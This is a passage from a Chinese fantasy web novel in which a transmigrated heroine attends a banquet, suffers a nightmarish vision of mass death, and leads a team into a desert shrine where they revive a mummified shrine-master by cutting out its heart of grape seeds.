反而是坐在韩烊身后的姑娘,面容秀美,杏眼娇憨又明媚,扎着两束麻花辫,侧身歪头,非常热情的朝柳鸷摆了摆手。
“那是谁?”
陈离翡说:“哦,韩烊的妹妹,白从欢。刚刚升到上舍丙等,人称阙庭‘超级开心果’。”
“一个随父姓,一个随母姓吗?”
“答对了!一半。他们是重组家庭,没有血缘关系。”
柳鸷点了点头,“那庭长和舍长不参龛吗?”
“对啊,这四个老不死的贼老头。”
“老头?”看着都是青年模样。
“嗯哼。你别瞧他们人模狗样的,其实已经百来岁了,只是法力高维持容貌而已。欸,人老了就一个比一个爱偷懒。特别是庭长,他坐那个轮椅,就是懒得走路而已。”
柳鸷:“......”你就鬼扯吧!
前方,萧杨已经对着金榜分析完神龛难度,以及选手的伤亡情况。
他最后补了一句,“这次花茶儿带领的队伍,破龛花的时间最长,但选手存活率最高。可柏神带领的队伍,破龛时间虽然最短,但存活率额......是最低的。”
庭长挥了挥手,萧杨收榜退下。
庭长看向柏封棠,“六十多个选手进龛,最后只剩下七个回来。封棠,你有没有什么想说的?”
柳鸷数了一下,柏、秦、陈、曲、谷、加一个她,万宝子未登记在册,不算。
那还有一个是谁?
“没有。”柏封棠斟酒独饮,不咸不淡的。
旁人交头接耳:“他估计又见死不救了。”<
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p>“光一个人牛哄哄的有什么用。”
......
越说越过分,柳鸷听不下去,欲起身反驳,“他救过一次的......”却被柏封棠按捺下,他眸色松散懈怠,淡淡的扫过,众人悻悻闭了嘴。
柏封棠从容的为柳鸷斟上一杯酒,“不必浪费口舌,同无关紧要的人解释。”
柳鸷转头,见柏封棠一副悠闲自得的模样,饮着酒。
看来,人言虽可畏,但奈何不了他,柏封棠。
花茶儿放下筷子,俨乎其然,“我的队伍存活率虽高,但也有死亡。希望三位舍长好好辅导、提高下选手的战斗力,太弱就别去了,省得老娘拼死拼活的救。”
庭长颔首,“就按茶儿说得办。”
三位舍长不情愿的点了点头。
舍长们开始商讨‘阙庭魔鬼训练营计划’,底下的丙等选手愁成一片。
柳鸷高高兴兴的吃席,柏封棠没怎么动筷,只给她布菜,“你想参加训练?”
“当然。”这莲心殿里,只有她和陈离翡是抱大腿蹭上来的。柳鸷对当大佬背后的女人没兴趣,要当就当大佬本尊!
“会训练七日,之后再进入新的神龛。到时候,你可别叫苦。”
“不会的,陈离翡,你也会一起参加吧?”
陈离翡双手打了个叉,“打住!老子要补觉。”
柳鸷还想让秦为墨搞定陈离翡,却倏然瞥见一道窥伺的目光。
又来了。
柳鸷不露声色的和秦为墨交代,余光追向那道目光,骤然转眸。
逮到了!
柳鸷看见了人群后座,披着一头长长的黑发,半掩半遮着病态又苍白的脸,肿大的眼球透过发丝细缝,阴恻恻地盯着柳鸷。
寒衣龛里,第七个存活的选手就是她吧。
黑发女人。
黑发女人换了一身素白色衣裳,歪歪扭扭的坐在丙等区的最后一排,朝柳鸷笑了笑。
“你盯着那个疯女人干嘛?”陈离翡说。
“确实挺疯的。”
“是啊,她每天都神神叨叨的指着别人说流金出现了,要毁灭了。”
柳鸷:“......”
等柳鸷再回头,后排的那个位置空了,黑发女人不见了。
柳鸷借口要上茅厕,和柏封棠说了声,而后从侧殿出去了。
柳鸷往南,一路摸索,越过各个选手区域,来到一片竹林里。
柳鸷能感觉到,黑发女人在这里。她对着竹林说:“既然引我出来,为什么还要躲我?”
“......”
“不出来的话,我走咯。”
“......”
柳鸷调转方向,刚迈脚就听见,“等等。”
黑发女人像蛇一样从竹子上滑下来,“我不是疯女人。我叫严佩梧。”
“我,你应该知道吧,就不多作介绍了。”柳鸷说。
严佩梧点了点头。
“不说说为什么偷窥、跟踪我?”
严佩梧反而大胆起来,挺肩扬颌道:“我在观察你。”
“我知道如何让你快速达成系统目标。”
柳鸷诧异,依旧压下心中波涛汹涌的疑惑,从容不迫道:“哦?”
“只要你杀光所有的选手!你的系统就能达到满分!”严佩梧真的是语出惊人。
柳鸷没有动,只是淡定的看着严佩梧疯狂的神色。
严佩梧见柳鸷面无表情,惊奇着:“你不信?”忽然,她又自我反驳,喃喃道:“不不,不可能,你早就知道了。寒衣龛最后的杀戮,我看见你的瞳孔里分数疯涨了。”
这人不止有点疯,是很疯!
寒衣龛最后,一片混乱,柳鸷根本没注意到这人躲在哪里。
柳鸷知道杀戮是刺激观众满意值的一个点,但她并不认为需要通过杀选手来获得观众满意值。
柳鸷打算先安抚严佩梧的情绪,“就算你真的看见了,那你觉得就我这菜鸡能力,要如何杀得了所有选手?”
“方法多得是,只要你想,我会帮你的。”
“也包括杀了你自己吗?”
“当然。我也是选手。”严佩梧肿大的眼球,兴奋异常。
柳鸷点点头,“但,你怎么知道这个方法一定有用?”
“我——”严佩梧的话,蓦然被一道钟响打断。
钟声似乎很遥远,因为很轻,但又似乎很近,震得柳鸷的鼓膜发聋。
严佩梧听见钟声,脚底跟抹油似的,一溜烟往竹林深处去,不见了。
柳鸷有种不好的预感,扭头,乍然看见八角楼裂开,瞬间瓦解成碎粒,扬于虚空。
怎么回事?
柳鸷急忙往八角楼的方向跑,经过选手区,看见大蒲团、小桌子、菜肴等全都消溶了。
而上千个选手,或坐或站,或夹筷或斟酒的动作,姿势各异,却都不约而同的僵住了。
这、太诡异了。
柳鸷在塑泥一样僵硬的人群中,看见了谷栖夏、曲皓尧以及东柠,她想过去,却发现自己也动不了。
柳鸷的额角冒出涔涔薄汗,背襟一片毛骨悚然。
又一道钟声穿云裂石的袭来,比之更震耳发聩。
柳鸷眼睁睁的看着,上千个选手如纸片人般,被无形的力量撕裂开四肢、头颅、身体......
四分五裂。
鲜活的热血喷洒在空气里,溶散——
剧烈的疼痛在她身体传来,先是五个骨节口、而后漫延全身。
柳鸷无法低头,目光所及之处,依稀可见自己的血也喷了出来。
原来,她也难以幸免。
第三道钟声传来时,世界如同一颗轻薄又漂亮的泡沫般破裂。所有的一切都崩解、消泯,于风中化为虚无。
28. 游阙庭(四)
柳鸷跌入了无尽的深空,身体不断的在黑幕里往下坠落,一扇扇门从她眼前穿梭过,柳鸷抓不住。
突然,在深渊下方闪出一源朦胧的白光。
由远及近,光束越来越刺眼。柳鸷以手覆眼,透过指缝,看清了光的形状,四四方方的。
是门。
柳鸷被光吸入门内,堪堪站稳,发现她身上的襦裙服,变成了衬衫配西裤。
柳鸷惊奇,她回到现世界了?
抬眼望,是一条白炽灯打满的现代走廊,两旁的白漆墙之间是一道道留有小窗的铁门。
是真的回来了!太棒了!
柳鸷第一个念头就是回家找哥哥。
但她发现了古怪,这里每一道门上都上了锁,走廊空无一人。
她的手上还攥着一份文件夹。
柳鸷翻开,挂着一把钥匙和一叠文件,首页的表格,记录着。
房号:4010室
姓名:周貌宜
年龄:19岁
职业:养蚕人
经历:
周家村世代以养蚕为生,周貌宜自幼与蚕虫为伴长大。十年前,周家村村长引进资金,建设桑蚕丝一体化工业的大厂,以此扩大养殖、缫丝规模,带动周家村实现小康。
周貌宜18岁时,进入桑蚕丝织厂,欣喜成为一名真正的养蚕人,但却因拒绝村长之子的性骚扰,被分配到残余部门。
工作任务就是将蚕虫丢尽焚化炉里焚杀,后将灰烬为肥料浇灌桑树。
原来,村长因贪图高品质丝织所带来的牟利,会将厂里的蚕虫分为三六九等,养得差的、小的蚕虫会进行统一焚杀。
部门的老人见周貌宜是新人,什么事情都给她做。周貌宜明明拿的是一个人的工资,要杀得却是三倍的蚕虫。
但,周貌宜下不去手,选择放生蚕虫。
一个月后,被村长之子和其表哥发现,斥责周貌宜未完成工作,并要求她赔偿给工厂造成的经济损失。
周貌宜根本还不起,两人以此威胁,一次又一次的玷污了她。而后,两人强迫她日日焚杀上千条蚕虫,致使她夜夜惊魇。
周貌宜受不了,精神出现紊乱,生吞了上千条蚕虫。
当晚,村长之子和其表哥像往常一样,准备玷污周貌宜时,她发狂,杀死两人并纵火,烧毁了整座工厂。
柳鸷握着文件夹的手颤了颤,像是急于求证什么。
柳鸷快步跑、越过4036、4023、4026......的门号牌,来到4010号房间前。
柳鸷深吸一口气,从文件夹上取下钥匙,打开门锁。
房间内,一个容貌秀丽、婉约的年轻女孩身着病号服,正躺在铁床上读《生命的未来》,旁边还搁置着一本《爱动物的小孩》。
是貌宜。
貌宜看见柳鸷,开心的从床上坐起来,笑道:“小柳老师,你来啦。”
她的眼睛亮晶晶、纯洁而无害的摇了摇书,“我在看动物保护哦。书里说保护熊猫、保护蜂猴象、保护河狸,可为什么不保护蚕虫呢?”
“是不是因为太好养活了,所以命贱,可以随意杀戮?”
“从生命的角度来说,蚕虫不应该也要受到保护吗?”
“小柳老师,你怎么不回答我?”
柳鸷开口了,但却发不出声音。
貌宜骤然冲到柳鸷跟前,眼瞪得比铜铃还大,她拽住柳鸷的衬衫领口,暴力的摇晃着柳鸷,长着大嘴疯狂的咆哮:“你快回答我啊——”
柳鸷猛地睁开眼睛,发现头上的灰金床幔,枕间飘散着极淡的迦南香。
她一下子就清醒了。
柳鸷坐起来,环往四周。
明媚的碎光透过半掩的窗棂,投射在蒲团上。木质桌椅皆以褚色为主,色调沉稳,显得古朴又不失风雅。
风微微吹动着书案上的卷轴,卷轴滚落在地上,似乎是一副画,但柳鸷离得远,看不清。
陈列的典籍扉页,笔墨未干,可见屋主离开不久。
木门吱呀一声。
“柳鸷,你终于醒啦!还说要和我去参加魔鬼训练营计划,结果自己偷偷睡了五天五夜!很爽吧!懒猪猪!”
陈离翡带着谷栖夏和曲皓尧走进来,“喏,他俩听说你受伤了,非要来看望你。”
柳鸷怔怔的干瞪着眼睛,像见了鬼一样,这些选手不是都死了吗?
“你们怎么还活着?”
陈离翡皱眉,“你撞昏头了吗?还敢咒我们?”
柳鸷:“......”
陈离翡解释说,是柳鸷在洗尘宴喝醉了,抱着莲心殿的主位金漆屏风爱不释手,从台阶上滚了下来,昏了。
“哎,她肯定不是故意的。”曲皓尧从怀中掏出一瓶药,“这是我受伤时,从庭长那讨得上好的创伤药,给你用试试。”
柳鸷顺手接过药,茫然了。
她不是也死了,回到现世界了吗?
但现世界和流金世界,怎么都有貌宜?
那个满是铁门的走廊是什么地方?
为什么她会在哪里?
等等。
貌宜为什么叫她小柳老师?
柳鸷记得自己是心理学大四在读,她努力回忆,试图从脑海里扒出一个与貌宜相关的事情。
但一想,就觉得头痛得厉害。
啊!这到底是怎么回事?
柏封棠单手端着药盘进来,就看见三个人围在他的床边,而床上的柳鸷双手抱着额头的纱布,眉毛拧成一撮麻花。
“三位,未经允许,擅自闯入上舍选手的房间,是想找死吗?”
陈、谷、曲三人齐刷刷望向门口。
陈离翡挠挠头,有一种被抓包的无措,小声嘀咕:“是柳鸷让我们进来的。算了算了,我们先走吧,柳鸷你要快点好起来,我们后日见。”
离开前,谷栖夏掏出一份牛肉干,表情不太自然的递给柳鸷,一声不吭的走了。
柏封棠将药汤搁置在床头边,倾身、查看柳鸷的左眉尾处的额头,纱布之下,破口红肿,伤口上的白色药粉堪堪遮住流金痂皮,“还疼吗?”
“还好。”
柏封棠欲要去端药汤给柳鸷,反被柳鸷扣住手,她破罐子破摔的问:“你们不是都消泯、死了吗?为什么还活着?”
柏封棠蹙额,带着迷惑的眼神,“你在胡说什么?阙庭还有上千位选手,龛被封印在神龛里,怎么杀得进阙庭里。”
“可是,我就是看见了......”
“你昏迷太久了,做恶梦很正常。”
恶梦?
“我觉得现在才是恶梦。”
柏封棠眼神微沉,倏然掰过柳鸷的手腕口,凑近唇间,一口咬下。
“啊!柏封棠你发什么疯!”柏封棠早已松开口,柳鸷连忙抽回手,玉白的肌肤上印着两排不深不浅的齿痕。
“痛吗?”柏封棠佻达、带着点疯的神色,“现在知道哪一个才是恶梦了吗?”
痛感明显,流金世界不是梦,是真实的。
这使得柳鸷更恼了,她拽过柏封棠的左手,睚呲必报的在同一个位置咬
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下。
柳鸷的齿如编贝,但她发了狠,拼命的用力,咬出了血,也没听见柏封棠吃痛的声音。
柳鸷不禁抬头,却撞见柏封棠勾着唇,带着一丝意犹未尽的笑,“就这?”
柳鸷:“......”这家伙,变态吗?
柳鸷甩开他的手,决定不要理他,抓着被褥抹掉牙齿上的血,翻身下榻,打算走人。
“等等。把药喝了再走。”柏封棠端着药递给柳鸷。
“不喝。”
“好吧。”柏封棠捧着药,垂着漆黑的眼睫,温声细语道:“我亲手熬了两个时辰,只能倒掉了。”
柳鸷:“......”这茶言茶语的!
她才不吃这一套。
“这药我用了上好的药材,能提升你的法力。”
柳鸷停下迈出门的脚步,“你不早说!”柳鸷大步流星回来,爽快的端过药,哐哐的大口干了!
苦死了!!!
柏封棠径直往柳鸷叭叭的小嘴里,塞了一颗山楂糖丸,带着一丝腹黑、狡猾的笑意,夷愉道:“你怎么这么好骗?也不怕我在药里下毒。”
“?”
“你这促狭鬼!”柳鸷怒目圆瞪,磨牙霍霍。
“又想咬我?”柏封棠摇了摇头,转而抬起左手,递给柳鸷一个葵式黑金漆盒。
柳鸷睨着柏封棠,打开瞄了一眼,竟然是一只镂空雕刻游隼纹的青铜扳指。
“这把铉隼剑,你试试手。”
剑?
柳鸷取下扳指,轻轻一甩,扳指变成一把青铜软剑,剑身锋直柔软,如钩如弦,握着手中轻盈恰好。
“送我的?”柳鸷的瞳仁一凛。
柏封棠眼神微黯,“你不喜欢?”
是巧合吗?
柳鸷以前在击剑俱乐部打工时,练过击剑。这把软剑作为兵器,再趁手不过,但柳鸷试探性的问:“你觉得我应该喜欢?”
柏封棠转身,避开柳鸷的双眸,淡淡道:“不喜欢,就再换一个。”
柳鸷看出他不想多言,便将剑收回成扳指,打量着,想起,柏封棠的万锯法扇能变成锯剑,这扳指也能变成剑,不禁疑惑。
“法力高,可以随意幻化任何东西吗?比如幻化成其他人?”
“化人?上舍的选手目前只能以物化物,且少有。”
柳鸷想起万宝子可以以人化物,但他是半龛,不算上舍的。
“好吧。”柳鸷将扳指戴在左手大拇指上,尺寸贴合,雅致又不失霸气。“不错。”
她朝柏封棠摆了摆手,“走了。”
身后传来柏封棠的声音,“后日卯时,城门开龛,别忘了。”
柳鸷跑回外舍乙等房间,灌了一杯冷水下肚,冷静下来,摘下手腕上金菜镯子,拍了拍,“金菜?系统?统子?”
金菜伸着懒腰跳起来,“宿主,许久未见,来阙庭好玩吗?”
“统子,我问你,我刚刚是不是回到现世界了?”
“宿主的观众满意值达成「100%」了?我怎么不知道。”金菜说着,煽动着菜叶在查询。
“这不是才「19.8%」嘛?不可能回到现世界的。”
“那我初入阙庭那晚,为什么所有人、连同整个流金世界,都莫名其妙的消泯了?”
“宿主,你在胡说什么?”金菜听不懂。
柳鸷疑惑,难道她真的只是做了恶梦?
不对。
那感觉太真实了。
但所有人的记忆都和她不一样。
这太恐怖了——
29. 酒骨龛(一)
晨曦初露,透过窗棂洒在柳鸷的眼皮上,柳鸷从梦中惊醒,今天好像是开龛的日子。
她瞥向落在西北方的光影。
天!卯时了。
柳鸷赶忙从被褥里跳下来,一通收拾赶去城门。
城门口乌泱泱的、挤满了选手,“柳鸷,这儿。”
柳鸷远远的就看见人群中,一身宝蓝色男士长袍的陈离翡,头戴鎏金珠玉抹额,颈间佩同款璎珞圈,像一位集万千宠爱的娇俏公子哥。
柳鸷刚走近,陈离翡就调侃,“懒猪!睡过头了吧?”
柳鸷懒得理他,同一旁的柏封棠和秦为墨打招呼,而后打着哈欠,在人群里扫视。
“没睡好?”柏封棠问。
柳鸷点点头。
这两天,她一直想找黑发女人问问,结果找了两天都没找到人。
这人就像死了一样,消失得无影无踪。
没一会儿,庭长、三位舍长和萧杨出现在城门口宣布,鉴于当前统计的选手存活率,这一次开龛新增一条规定。
为保存外舍选手的存活率,禁止外舍选手进入上阶龛。
“啊?”陈离翡焦急道:“完了完了,那墨墨不能跟我一起了。”
在庭长的示意下,萧杨展手,放出金榜。
榜上显示出三十个神龛,供选手们选择,其中上阶龛有六个,中阶龛有二十个,下阶龛有四个。
每一个神龛后面都指明龛域方位以及龛品,有的是重剑、古筝、蹴鞠、酥糖、铜镯等等。
选手们望着金榜,各抒己见,讨论纷纷。
经历过多个神龛的选手们,都有了各自固定的伙伴,只有一些选手的伙伴在之前的神龛里牺牲了,存活下来的选手不得不重新寻找、加入新的团队。
其中,以花茶儿为首的团队是最受欢迎的。
陈离翡突然凑近柳鸷问:“你想选哪一个龛?”
柳鸷看着榜单,想起自己的系统,下阶龛可能比较简单,不一定能激起观众满意值,而上阶龛,柳鸷还是外舍选不了。
“就选中九龛——血云龛吧。”
“那我要跟你一起。”陈离翡说。
曲皓尧的兄弟在寒衣龛里都牺牲了,他凑过来,“我也跟你们一起吧。我有法力,可以保护你们,柳鸷比较聪明,可以出脑子,陈离翡就......负责缓解气氛吧。”
陈离翡歪头想了想,“也行,三个臭皮匠顶过一个诸葛亮。”
三个人就这么愉快的拍板决定了,完全没有理会站在他们前面的两位上舍选手。
萧杨宣布由上舍的选手先开始选龛。
柏封棠直接选了血云龛。
所有人都很讶异,因为柏封棠从未参加过上阶龛以下的龛,连庭长都看向了柏封棠。萧杨问:“你怎么选中阶龛?”
“我的脑子,为我做出的选择。”
秦为墨也选择了同一个龛,遭到萧杨反对。
“也没有规定,上舍的不可以选中阶龛啊。”秦为墨说。
“这是神龛,不是玩过家家。你们俩不要大材小用。”
选手们疑惑:“这个神龛是有什么金山银山吗?他们怎么都选这个?”
......
庭长于轮椅之中,威严不减,他微抬了下手,全场安静下来。
庭长如炬的目光看穿了柏封棠的心思,温厚又有气势,“你和为墨,这次一起去上六龛。想带谁,只要人家愿意就行。”
上六龛的危险系度极高,随时都有可能牺牲。
柏封棠勾着头,看向柳鸷,淡然道:“你想去哪里?”
柳鸷望向金榜上唯一的上六龛,酒骨龛,龛品为钗笔。
“去上阶龛吧。”
一刻钟后,柳鸷、柏封棠、秦为墨、陈离翡、谷栖夏、曲浩尧等六个老伙伴,与新加入的三女两男,白从欢、冷荻、金千菲,柯翰、罗圣博,一共十一人组成新的队伍。
其中。
上舍选手:柏封棠(甲等)、秦为墨(乙等)、冷荻(近乙等)、白从欢(丙等)。
内舍选手:曲浩尧(甲等)、柯翰(乙等)、罗圣博(乙等)、金千菲(丙等)、谷栖夏(丙等)。
外舍选手:陈离翡(甲等)、柳鸷(乙等)。
一群人,一同往城门走。
柳鸷的肩膀突然被拍了下,回头对上嘴角弯弯,露着可爱小梨涡的脸庞。
是白从欢。
她一身鹅黄襦裙,璀璨的杏眼如冬日的暖阳,洋溢着快乐,豁达的笑着:“柳鸷,你好呀!我是小白,我可以叫你小鸷吗?
“当然。”
“小鸷,我以前怎么没见过你呀?”
柳鸷还未开口,就听见白从欢自言自语道:“可能是阙庭的人太多了,没关系,我们现在认识啦。”
“对了,给你介绍冷姐姐和千菲。”金千菲就站在白从欢身边,她长得小家碧玉的,温婉的打着招呼。
而冷荻和一位俊俏的公子走在最后头,离得稍远。
柳鸷扭头望,冷荻长得很有冲击性。
一身藤紫轻纱勾勒着火辣的身段,隐约可见她凝脂似的锁骨在纱间摇曳生姿。金色的腰链如一条响尾蛇般,匍匐在她的腰上伺机而动,魅惑而性感。
但她下巴尖锐、瘦削,与冰冷的深瞳形成一种英挺的帅气,不知道那公子在她身边说了什么,她藐视的神色,宛如一条高贵又冰冷的女王蛇。
与柳鸷撞上眼,唇绛微抿,淡淡的点头示意。
白从欢悄声说:“那是柯翰,冷姐姐的小郎君。”
姐弟恋?
有意思。
“我也想像冷姐姐那样漂亮。”
柳鸷笑了,“你们都很漂亮。”
“假象假象!美人皮下蛇蝎心,三条美人蛇聚集了,可怕可怕!”旁边传来陈离翡的喃喃自语。
“你这粑耳朵叨叨谁呢?”白从欢圆瞪着美丽的杏眼,泼辣的晃了晃手腕上的金缠钏,“小心本姑奶奶抽你哦!”
柳鸷还在想,这粑耳朵???
陈离翡闻声,立即跳离一尺远,“有话好说,你别过来。”
柳鸷明白过来,开怀大笑间,无意瞥见了白从欢斜挎背着的牛皮包包上,标志是两条相交的弧线。
咦?
这不是香奶奶的Logo吗?
难道这个姑娘也是穿越来的?
“小白,你这个包包好特别呀,真好看。”柳鸷夸赞着。
白从欢大方的将包包转至身前,笑嘻嘻的,“我哥送我的,看,里头装了可多宝贝了。”
前头有人喊了声:“姑娘们,开龛门了,快跟上!”
“你哥哥对你真好。”柳鸷想着,如果她的哥哥也在就好了。
她寻思着,得另找个机会试探下白从欢。
一群人有说有笑地走上桥,柏封棠以法力在桥头画出一个金色的门,龙飞凤舞的写上西方龛域——酒骨龛。
砰的一声,通往神龛的门,开了。
“柳鸷,过来,到我这里来。”柏封棠领头,带着一行人,穿过波纹浮动的龛门,入目的是一望无垠、铺满金黄的荒芜沙漠。
“靠,烫烫烫!这鬼地方也太烫了吧!”陈离翡踮起脚尖,每踩一步沙砾,都像赤足踩在烧红的铁屑上,烫脚。
“哎呀,要把我晒成黑炭了。”白从欢拉起披帛,把整个头和脖颈都包住了。
烈日当空,
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沙砾反射着阳光,戈壁滩在寂静中灼热,如画卷般。
选手们呼吸出的白雾,在旱热的空气,立即蒸腾挥发。半晌,皮囊上都冒出了涔涔的汗液,滚落在热浪中。
不远处,飞沙走砾里,静静的立着一个石墓碑。
柳鸷单手遮着眼,“那好像有字,过去看看。”
走近,才发现碑上镌刻着:展绪之墓。
柏封棠弹指,墓碑上的字闪放黑光投在沙地上,黄沙骤然跃起,一粒粒细小的沙砾排成一幅巨大的字画,写着。
酒骨龛规则。
第一条:
第一点,沙绪酒庄将在第七日举办酒骨龛,届时请选手展示龛品;忤逆者,立即处决。
第二点,需使用沙绪酒庄种植的葡萄酿造出龛品;忤逆者,立即处决。
第三点,无绪者不得进入沙绪酒庄;忤逆者,立即处决。
第二条:
参龛过程,不可产生自杀念头;忤逆者,立即处决。
第三条:
本龛龛主已死,请在一个时辰内唤醒龛主;忤逆者,立即处决。
白从欢凑近瞧了瞧,“我没看错吧,这次规则竟然就三条?而且我们不就是来杀龛主的吗,它死了省得我们费力气了,竟然还要唤醒它?”
秦为墨说:“规则说要唤醒它,不唤醒它,司寇就来杀你给它陪葬了。”
曲皓尧狐疑:“还让我们不能自杀?也是神奇了!”
金千菲茫然了,“这次的龛品不是钗笔吗?怎么变成酒,我们要酿酒吗?”
罗圣博不解,“这鬼地方哪来的葡萄酿?”
谷栖夏说:“我觉得我们还是以阙庭提供的龛品为准。”
......
选手们,你一言我一语的争论着时,陈离翡突然发问:“你们有没有闻到了一股奇怪的味道,像是什么腐烂的味道?”
“是松香。”柳鸷一进来就闻到了,很淡的味道。
白从欢嗅了嗅,“你们这么一说,我好像也闻到了。粑耳朵,你这狗鼻子真灵啊!”
“当然。我可是汪中的猎犬。”陈离翡自豪夸耀,不过:“你怎么知道我属狗的?”
白从欢:“......”
柳鸷没理会闹腾的俩人,在一旁盯着墓碑,展绪会是龛主的名字吗?
那这墓碑之下......
“哎,这要求一个时辰唤醒龛主,大家伙们要不要把这墓碑掀了,瞧瞧下头有啥子?”白从欢问得随意,却和柳鸷想到一块去了。
“无锄无揪,难道要徒手刨?”
柳鸷骤然看向身旁的柏封棠,柏封棠似有感应,斜垂下眼,用只有两个能听见的气音问:“怎么?有求于我?”
柏封棠的唇角,噙着一丝狡黠的笑意。
柳鸷狠狠瞪了他一眼,眼珠一转,朝秦为墨喊了声:“秦哥,这里沙土稀松,你的法力能搞得定吗?”
秦哥?
柏封棠扬起的嘴角瞬间耷拉,漫不经心的睨视着秦为墨。
秦为墨感觉闷热的空气里,拂过阵阵凉意:“......我、搞不。”
“墨墨肯定可以啊!”陈离翡推了一把秦为墨,“快挖!这搞不定算个鸟。”
众选手退开,秦为墨被迫上岗。
墓碑无根,比挖树简单,秦为墨两下就把墓碑挖起来了,四周的流沙猛地往沙洞下涌。
几个选手手忙脚乱、连刀带剑的狂刨,才刨开半片流沙,看见了一口古木棺材。
几人合力打开,一阵浓郁的香味闯进鼻息。
“卧槽!开了大粽子!”
棺内,静静地躺着一个以古老的、土棕色亚麻布条裹缠的木乃伊干尸。
30. 酒骨龛(二)
这具干尸包裹的严严实实的,外观上分不清男女,每一根布条上都写满了符咒,看着诡异,又瘆得慌!
柳鸷曾在史书看过,古代人追求长生不死,他们会将逝去之人制为干尸,为的是将来有一天能够再次复活。
但怎么复活呢?
“这就是龛主吗?但这都死得透透的,成干尸了,还怎么唤醒?”曲皓尧一边问,一边下手翻看。
“哎别碰,万一他突然诈尸了呢?”
“诈尸更好。诈了不就醒了吗?”曲皓尧探了探,没反应,起身说:“要不我们给它喂点金子试试?”
“那你出金子。”
......
几位选手撑着腰杆,各抒己见。没注意到蹲在干尸旁的陈离翡,徒手掰开了干尸脸上的亚麻布条。
“小翡,你干什么?担心有毒。”秦为墨出声喝止。
陈离翡左右瞧了瞧手指,一脸天真道:“没毒啊。规则不是说要唤醒龛主吗?我先给它解开鼻子呼吸呼吸。”
众人满脸黑线:“......你觉得它还能呼吸?”
“掰开才知道。”陈离翡继续,秦为墨着手帮忙,没一会,俩人拆掉了干尸脸上的麻布条。
露出一张土褐、干瘪的面庞,眼窝深陷,眉骨英挺,鼻腔处早已没了呼吸。
白从欢摩挲着手指抵在下颚处,一本正经道:“看这干尸的骨骼应该是个年轻人,长得也不错,说不定是服毒、为情自杀的。”
“要不,我们用美丽的恋人亲吻,吻醒它试试?”
众人:“......”
柏封棠睇了一眼,颔首道:“嗯。你分析的有道理。你去吻吧。”
啊?
白从欢瞅了瞅干尸干燥枯扁的唇,颇为嫌弃,逗乐儿道:“要美人吻的,柏神比我更合适。”
热辣辣的太阳炙烤着选手们,热汗如大雨般淋漓而下。
一群人站在金色的沙头上,边擦着汗珠,边讨论着。
柳鸷在思忖中,额间燥热的迸发出细密的汗液,心却是静谧的。突然,头上被一道阴影遮盖,抬头,是柏封棠的万锯法扇,堪堪遮住她的脑袋。
“热?”
柳鸷见柏封棠也涔了汗,“不用,你遮你自己。”
“柳鸷,你怎么都不说话?你怎么看的?”曲皓尧唤了一声。
柳鸷说:“我只知道制作干尸,为了不让其腐烂,需将内脏和大脑等全部取出,再以防腐药物殓藏尸。但古人认为心脏是灵魂永生的栖身之处,所以,如果没猜错,干尸体内有心脏。”
柏封棠将法扇递给柳鸷,转身去查看。
干尸身上软软的,散发着松香,估计是以松脂团填充了内脏,“只有左心房是实的,但是死的。”
曲皓尧问:“那要让心脏活过来?”
“大概是。”
“怎么让心脏跳动起来?”
柳鸷摊了摊手,“我也不知道。”
秦为墨看了下高悬的烈日,估摸着:“时间已经过去半个时辰了,再耽搁下去司寇就要来了。大家有什么方法都先试试。”
于是,秦为墨以法力注入心脏,半晌,没苏醒。
柏封棠掏了一条金块融进心脏,半晌,没苏醒。
白从欢指挥曲皓尧等几个男生轮流按压心脏,半晌,没苏醒。
“按得我的手,酸得快废掉了。”曲皓尧抱怨。
“我也是。”柯翰说。
“你们看着人高马大的,怎么比娘们儿还羸弱?闪开!让我来!”陈离翡气喘吁吁的撸高袖子,继续按压心脏,一下一下的,速度快且劲道强。
陈离翡按了好一会儿,没动静,忽然,他松开心脏,去掰干尸的鼻腔和下颚,猛地倾身,附在干尸的唇上大力吹气。
众人都惊呆了!!!
白从欢捂眼,发出爆吼:“粑耳朵!你干什么?”
陈离翡微怔,半晌缓过神,“那啥?顺手。泅水的人不都这么救吗?说不定这干尸还是淹死的呢!”
“等等。”陈离翡猛的跳起来,擦着嘴巴,“这干尸男的女的?”
棺材里的干尸骤然坐了起来,陈离翡身上传来一道轻嘶声。
“卧槽!活了?”
干尸又直线倒下去,一动不动了。
柳鸷欲要上前查看,被柏封棠捷足先登,“脏,我来。”
柏封棠检查后,发现干尸牙齿上缠了一条断掉的细线,“没活,是陈离翡的衣线勾住齿缝,勾起来的。”
秦为墨抚额,将陈离翡拉了回来,递给他水葫芦,“漱口。”
几种方法都行不通。
只有不到一刻钟的时间了。
选手们的脸被炙烤的通红,焦虑着:
“这才刚进来就这么难!要命了!怎么办怎么办?”
“凉办!司寇估计已经在来的路上了。”
柳鸷开口,“各位,还有什么办法唤醒龛主吗?”
“你有吗?”柯翰反问。
“我的方法要用在你们之后,所以你们有方法的先来。”
几个人面面相窥,纷纷表示没有法子了。
“好。那时间也差不多了。”
“什么?”众人还未反应过来,柳鸷从衣袖里掏出一把匕首,一刀割开干尸的左心房。
柯翰惊诧半晌,怒吼着:“靠!柳鸷!你杀了龛主!你完了!”
罗圣博在一旁落进下石,“对啊!时间还没到,你毁了干尸!大家伙都看见了,和我们无关,一会司寇来了柳鸷负全责!”
俩人嘴上指责着,却没有一人出手阻拦。
陈离翡看不惯这群人,“别想赖柳鸷!你们都没法子了,柳鸷死马当活马医,怎么了?何况我们老队友肯定也是赞同的。”
“那你们老队友连坐!等着一起被司寇处决吧!”
柏封棠冷冷的觑了一眼,柯翰霎时降低了分贝,又继续和罗圣博小声辩驳,“仗势欺人......”
“闭嘴。”一直未出声的冷荻冷声喝止,“柳鸷,继续挖。”
冷荻空灵、威严的嗓音,很有震摄性,柯翰乖乖的闭嘴了。
柳鸷两耳不闻吵囔声,一心来回割刀子。
布条,一段段坠落。
土褐色的干皮被切割开。
露出一小团褚褐色的小碎粒。
柳鸷低着头、盯着,突然发出毛骨悚然的笑声。
一旁的选手听得头皮发麻,小心翼翼的问:“小鸷,你没魔怔吧?”
柳鸷加快手速,割开大片干皮,挖着、捧出一颗褚褐色的心脏。
胆大的陈离翡凑近一看,“卧槽!这种子吗?”
白从欢和秦为墨异口同声,“是葡萄籽。”
几百粒褚褐色的葡萄籽捏合而成的心脏。
向死而生。
这个唤醒,或许是改变物质的组合,以新的方式获得新生。
远处猝然劈下一道闪电——
将如画般的万里晴空,劈出一道巨大的天堑。
“完了!是司寇青诡要来了。”
柳鸷快速将葡萄籽分给每一个选手,“快!每个人,以一寸的
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距离在沙土里挖坑,种下一粒葡萄籽。速度点!”
